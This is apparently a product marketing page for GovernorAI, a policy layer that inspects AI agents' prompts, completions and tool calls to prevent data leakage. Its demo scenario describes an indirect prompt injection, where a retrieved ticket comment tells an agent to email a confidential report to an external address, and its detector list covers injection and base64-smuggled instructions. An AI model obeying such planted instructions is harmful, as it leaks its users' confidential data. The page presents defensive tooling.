Use cases / Data leakage

Let agents work. Keep sensitive data in bounds.

Sensitive data leaves in three places: the prompt an agent sends, the completion that comes back, and the tool call it turns into. GovernorAI governs all three under your policy, redacts or narrows what it can, refuses what it can't, and records every decision.

Sidecar, SDK decorator or tool gateway. No changes to the agent.

Agent identityVerified
Tool permissionAllowed
Data destinationNot permitted

Access is not permission to send.

The agent is registered. The tool is allowed. The transfer still has to pass policy for this data, to this destination, on this call.

Decided before dispatch. Written to the ledger.

Four outcomes

One policy. Four controlled outcomes.

Pick a scenario
GovernorAI · data protectionillustrative

The agent attempts

Email an internal report.

A ticket comment the agent retrieved told it to send the summary out. The tool is permitted. Pick where the external address sits.

action send_email
to archive@files-external.example
cc —
body confidential_report.pdf
source retrieved: ticket #4471

Policy evaluates

data-boundaries

  • ✓Agent registered
  • ✓Tool permitted
  • ✕Recipient not approved
  • ✕Constrain can't be honored: no approved recipient would remain
rule: approved_destinations_only
deny

External transfer blocked.

The agent may use this tool. It may not send this data there. Dropping the recipient would leave no valid call, so the whole call is refused. Approval can't override a destination rule.

not dispatched
explain: destination.not_approved
ledger: #a3f9…c21e

In the product

See a data decision made, in the console.

Recorded on a demo tenant: what each enforcement point inspects and enforces, an inline decision with the detector that fired, every gateway decision on the log, and the approved-model inventory.

Inside GovernorAI/ InferenceRecorded demo tenant

The decision, step by step

Four screens from a recorded demo tenant.

Watch the full 2-minute walkthrough →
Recorded against a demo tenant with seeded activity. Real product screens, not a mock-up.
8inline detectors, each resolving to an outcome, not a score
Both directionsrequest side and response side, including streams
Every decisionrecorded, allows included

How it works

Don't stop at "is this sensitive?" Ask "may this move?"

The modern leak isn't someone pasting a secret into a chatbot. It's a retrieved document carrying instructions, and the tool call the agent makes next. So every decision brings four things together.

Actor

Which agent?

Registered, with a status and a risk tier, under a model policy.

Content

Which data?

Classified by the rules your data controls already use.

Destination

Going where?

The recipient named in the tool-call arguments, not the tool's label.

Authority

Under what rule?

The policy in force, and who must approve.

Request: before anything leaves

Prompts and tool arguments are inspected before dispatch. Secrets are replaced, classified content is masked, and an offending argument is dropped, reaching into JSON sub-fields of the call. The narrowed payload is re-verified against the bytes actually sent.

redactmaskconstrainapprovaldeny

Response: before anything comes back

Completions are inspected on the way back, chunk by chunk when streaming. A body declared as retrieved content is handed to the injection detector as a payload, not an answer. A body that can't be shaped safely is not forwarded.

redactmaskdeny

Action: before the tool runs

The answer becomes a tool call, and that is the boundary that matters. Arguments are narrowed, consequential calls are routed for approval, and a call whose destination policy doesn't permit never reaches the tool.

constrainapprovaldeny
Prompts, completions and tool calls aren't three products. They're positions on one call, and the same decision core evaluates each against the same policy.

Where it differs

Deterministic. Argument-aware. Shaped in flight. Your policy.

Most AI firewalls score a prompt and block or allow the call. GovernorAI decides from policy, fixes the payload where it can, and proves what left.

01

Deterministic detection.

Detection is deterministic: regex, Luhn, range, keyword and path rules. The same input produces the same decision, every time, with an explain code you can hand to an auditor. An optional model-backed detector for paraphrased injection can add a deny. Nothing a model returns can turn a deny into an allow.

A confidence score is not a reason an auditor can act on, and 99% accurate is 1% wrong at scale.

02

We don't block the call. We fix the argument.

Constrain reaches into a tool call's JSON sub-fields, drops the offending key, and re-verifies the narrowed payload against the exact bytes about to leave. A constraint that can't be applied cleanly denies instead of forwarding a half-shaped request.

Allow/block at the call level means the agent either loses the task or keeps the leak.

03

You can't un-send a chunk, so we never send it.

Streaming bodies are redacted incrementally with a bounded sliding window, so a secret straddling a chunk boundary is caught whole. A deny-class finding terminates the stream and withholds the rest.

Buffering the whole response defeats streaming; passing it through unshaped defeats the control.

04

Your policy stays in charge.

The sensitive-data detector reuses your existing classification rules, so what your data controls call sensitive is exactly what the enforcement point acts on. Author policy once, in GovernorAI's native engine or OPA/Rego, and keep the OPA you already run. The policy is reviewed before release, enforced at runtime and named in the audit record.

A vendor rule pack is one more taxonomy to reconcile with the one your GRC team already signed.

On a data-leakage eventGovernorAITypical AI firewall or guardrail
Who decides what's allowedDeterministic policy; a model can add a deny, never an allow; explain code on every outcomeML classifier with a confidence score
Tool call carrying an unapproved destinationOffending argument dropped and the narrowed payload re-verified against the bytes dispatched; refused when no valid call remainsThe call is blocked or allowed; what was actually sent isn't verified
Streaming completionRedacted chunk by chunk in a bounded window; a deny-class finding stops the remainderBuffered before inspection, or forwarded unshaped
Who owns the policyYou: your classification rules, authored in native or OPA/Rego, including the OPA you already runThe vendor's rule pack and console
What's on the recordEvery gateway decision including allows, recorded and mapped to controlsAlerts and logs, often with the prompt copied in

Detectors

Eight detectors. Each resolves to an outcome, not a score.

A secret has a location, so it can be replaced. An instruction-override attempt doesn't, so it's refused. Every detector is permitted exactly one kind of outcome.

secret

API keys, bearer tokens, JWTs and provider-specific key formats.

redact
sensitive_data

Regulated and confidential content, using your existing classification rules.

mask · tiered by severity
regulated_identifier

Luhn-validated card numbers and range-validated US SSNs.

deny
prompt_injection

Instruction-override attempts, including indirect injection in retrieved content.

deny
encoded_payload

Base64 and hex runs that decode to instructions smuggled past a keyword filter.

flag for policy
unsafe_destination

A destination argument pointing somewhere policy doesn't permit.

constrain
risky_tool_intent

Tool calls whose shape carries consequence a human should see first.

approval
semantic_injection

Paraphrased or obfuscated override the keyword floor misses. Opt-in; add-only.

deny

Coverage

Enforced wherever your agents already run.

Argument-aware inspection on MCP, in-flight shaping at the gateway, and verified constrain on the cloud model paths. The same policy, evaluated at every enforcement point. Keep your identity, DLP and network security; this is the layer they can't see.

AWS BedrockAzureGoogle CloudMCP serversServiceNow Now AssistSalesforce AgentforceDatabricksKubernetes sidecarPython & TypeScript SDK

Shaping is applied where an enforcement point can execute a rewrite, and the request fails closed where it can't. See the full capability matrix by enforcement point.

The handoff

A data policy should survive the handoff.

A policy change can be simulated before launch, is enforced at runtime, and the policy that matched is named in review. No translation between the rule your GRC team signed and the one the enforcement point ran.

before launch

Test the boundary.

Privacy is one of six domains the assurance gate evaluates against a preregistered bar, on an agent snapshot that can't move underneath the result. A verdict expires when the environment changes.

Agent assurance
at runtime

Enforce the decision.

The policy is applied to the governed call. What can be made safe is shaped and re-verified. What can't be shaped safely is refused, not weakened.

Runtime enforcement
in review

Show the record.

The action, the policy that matched, the detector, the decision and the human response, when one was required, in one record mapped to your controls.

Evidence & compliance

A data-protection review answered from the record, not an assertion.

Every decision carries an explain code and the action context that produced it, including the allows. The record names the agent, the tool, the detector and the outcome. It never copies the prompt or the completion, so the evidence can't become the leak. The question stops being "was the answer safe?" and becomes "may this content leave, in this call, under this policy?" with the record to show for it.

decisionaction.deny
positiontool.call · http.post
detectorunsafe_destination
policydata-boundaries · rego
ruleapproved_destinations_only
outcomeDENY · not dispatched
explaindestination.not_approved
controlsSOC2 CC6.7 · ISO 27001 A.8.12
ledger#a3f9…c21e ← #91c2…7b04

Questions

A few practical questions.

Start with the workflow and the outcome. Go deeper where it matters.

Do we have to change the agent?

No. GovernorAI deploys as a sidecar proxy, an SDK decorator or a tool gateway. The enforcement point evaluates the policy; the agent code stays as it is.

Does this replace our DLP?

No. It reuses your classification rules and enforces them at the boundary your DLP can't see: the prompt, the completion and the tool-call arguments.

Can the work continue without the sensitive data?

Yes. Secrets are redacted and sensitive spans masked before dispatch, and the shaped payload is re-scanned before it's forwarded. When a rewrite can't be applied cleanly, the request is denied rather than passed through.

What about streaming responses?

They're redacted chunk by chunk. A sliding window catches patterns split across chunks, and a deny-class finding stops the remaining stream. Bytes already delivered can't be recalled, which is why the stream is shaped before they leave.

Does the audit record contain the sensitive data?

Governance events hold the agent ID, session, tool, policy decision, explain code and timestamp. Approval requests keep the tool-call arguments a person is asked to approve, so the sensitive values in a held call can sit in its approval record.

How fast is the policy decision?

Policy evaluation runs in process; the published benchmark measures it on a fixed fixture. It excludes transport, adapters and audit writes, so it is not end-to-end latency or an SLA. Full method

How do we get started?

Bring one data-sensitive agent workflow to a briefing. We map the transfer and the policy with your security and platform teams, run in shadow mode first, then turn on enforcement with your approval.

Design-partner evaluation

Bring one workflow. Make the boundary clear.

A six-week design-partner evaluation on an agent you already run. We'll show you what leaves, what gets shaped, what gets held, and what the ledger says about each one.

Continue